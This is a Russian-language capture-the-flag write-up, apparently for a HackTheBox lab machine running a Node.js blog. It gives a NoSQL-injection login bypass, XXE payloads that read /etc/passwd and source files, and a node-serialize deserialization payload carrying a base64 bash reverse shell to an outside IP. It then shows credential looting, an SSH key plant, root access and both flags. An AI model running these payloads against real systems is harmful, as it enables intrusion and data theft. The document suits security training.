Обзор сервисов

IP-адрес машины 10.10.11.139. Проверим вывод nmap:

$ sudo nmap -sS -Pn -p1-65535 -oN 10.10.11.139 10.10.11.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-28 03:42 EDT
Initiating Parallel DNS resolution of 1 host. at 03:42
Completed Parallel DNS resolution of 1 host. at 03:42, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 03:42
Scanning 10.10.11.139 [65535 ports]
Discovered open port 22/tcp on 10.10.11.139
Discovered open port 5000/tcp on 10.10.11.139
Completed SYN Stealth Scan at 03:53, 683.30s elapsed (65535 total ports)
Nmap scan report for 10.10.11.139
Host is up, received user-set (0.15s latency).
Scanned at 2023-07-28 03:42:00 EDT for 684s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 683.48 seconds
           Raw packets sent: 69348 (3.051MB) | Rcvd: 68685 (2.761MB)

Веб-интерфейс

Кастомный блог на порту 5000.

Alt text

NoSQL-инъекция

Попробуем залогиниться как admin:admin.

Alt text

Мы получаем сообщение о неверном пароле. В BurpSuite это выглядит так:

Alt text

Попробуем вставить payload user=admin&password[$ne]=admin (по гайду), но это не работает.

Alt text

Попробуем изменить Content-Type на application/json и поправить payload:

{
 "user": "admin",
 "password": {"$ne": "admin"}
}

Alt text

Выставим себе аутентификационные cookie:

Alt text

После этого появляется возможность писать и загружать статьи.

Alt text

XXE

Попробуем загрузить свой XML.

<article>
<title>Tove</title>
<description>Jani</description>
<markdown>Reminder</markdown>
</article>

Выполнился POST запрос на /articles/xml.

Alt text

Попробуем воспользоваться XXE и загрузить такой файл:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace SYSTEM "file:///etc/passwd"> ]>
<article>
<title>Tove</title>
<description>Jani</description>
<markdown>&toreplace;</markdown>
</article>

Мы смогли прочитать файл /etc/passwd.

Alt text

В нем мы нашли пользователя admin и mongodb.

Теперь, чтобы прочитать код приложения, нужно обнаружить его расположение в файловой системе. Попробуем отправить статью, где все поля заполним словом test:

Alt text

В результате получим ошибку:

Alt text

Код приложения располагается в каталоге /opt/blog/.

С помощью xml файла с содержимым ниже удалось прочитать файл /opt/blog/server.js:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace SYSTEM "file:///opt/blog/server.js"> ]>
<article>
<title>Tove</title>
<description>Jani</description>
<markdown>&toreplace;</markdown>
</article>

server.js

const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}

app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)

app.listen(5000)

Десериализация

В приведенном выше примере нас интересует строчка c = serialize.unserialize(c), которая находится в функции authenticated, явно принимающей на вход значение cookie.

Приготовим payload с помощью гайда.

$ echo 'bash -i >& /dev/tcp/10.10.16.93/4242 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK
$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK | base64 -d | bash
{"rce":"_$$ND_FUNC$$_function() {require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA+JjEK | base64 -d | bash', (error, stdout, stderr) => { console.log(stdout); }); } ()"}

После сделаем URLEncode:

%7B%22rce%22%3A%22%5F%24%24ND%5FFUNC%24%24%5Ffunction%28%29%20%7Brequire%28%27child%5Fprocess%27%29%2Eexec%28%27echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi45My80MjQyIDA%2BJjEK%20%7C%20base64%20%2Dd%20%7C%20bash%27%2C%20%28error%2C%20stdout%2C%20stderr%29%20%3D%3E%20%7B%20console%2Elog%28stdout%29%3B%20%7D%29%3B%20%7D%20%28%29%22%7D

Вставим в значение auth, запустим nc -lnvp 4242 и обновим страницу.

Alt text

Alt text

Пользовательский флаг

Каталог /home/admin не получается прочитать.

meterpreter > cd home
meterpreter > ls -la
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040644/rw-r--r--  220   dir   2022-01-03 12:16:35 -0500  admin

meterpreter > cd admin
[-] stdapi_fs_chdir: Operation failed: 13

Дадим ему права 755 и прочитаем флаг.

meterpreter > chmod 755 admin
meterpreter > ls -la
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  220   dir   2022-01-03 12:16:35 -0500  admin

meterpreter > cd admin
meterpreter > ls -la
Listing: /home/admin
====================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100600/rw-------  1863   fil   2021-12-30 21:29:43 -0500  .bash_history
100644/rw-r--r--  220    fil   2020-02-25 07:03:22 -0500  .bash_logout
100644/rw-r--r--  3771   fil   2020-02-25 07:03:22 -0500  .bashrc
040700/rwx------  40     dir   2021-07-02 14:58:14 -0400  .cache
100600/rw-------  125    fil   2021-12-13 08:21:15 -0500  .dbshell
100600/rw-------  0      fil   2021-12-13 08:15:59 -0500  .mongorc.js
040775/rwxrwxr-x  158    dir   2022-01-03 12:19:00 -0500  .pm2
100644/rw-r--r--  807    fil   2020-02-25 07:03:22 -0500  .profile
100644/rw-r--r--  0      fil   2021-07-02 14:58:19 -0400  .sudo_as_admin_successful
100600/rw-------  10950  fil   2022-01-03 12:16:35 -0500  .viminfo
100644/rw-r--r--  33     fil   2023-07-28 06:34:22 -0400  user.txt

meterpreter > cat user.txt
b5b8896aec3fc608fe36b24f518cf9ec

Alt text

Повышение привилегий

Попробуем посмотреть, что есть в mongo.

$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("b962493a-a1e2-4eec-b676-4b19f0df96f3") }
MongoDB server version: 3.6.8
$ show dbs
admin   0.000GB
blog    0.000GB
config  0.000GB
local   0.000GB
$ use blog
switched to db blog
$ show collections
articles
users
$ db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }

Запишем креды admin:IppsecSaysPleaseSubscribe. Пропишем свой SSH-ключ в машину.

mkdir .ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrMmPXmO096rgSNKnSmqo/mS8NwcLRFdq2h8lIy4spc u" >> ~/.ssh/authorized_keys

Соединимся по SSH и проверим, что умеет пользователь admin с паролем выше.

$ ssh [email protected]   
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan  4 16:33:21 2022
admin@nodeblog:~$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on nodeblog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on nodeblog:
    (ALL) ALL
    (ALL : ALL) ALL

Пользователю admin доступны любые действия с помощью sudo.

admin@nodeblog:~$ sudo su
root@nodeblog:/home/admin# 

Флаг суперпользователя

root@nodeblog:/home/admin$ cd /root
root@nodeblog:~$ ls
root.txt  snap
root@nodeblog:~$ cat root.txt 
04f278f5f00b8f85aca4b9971e792059

Alt text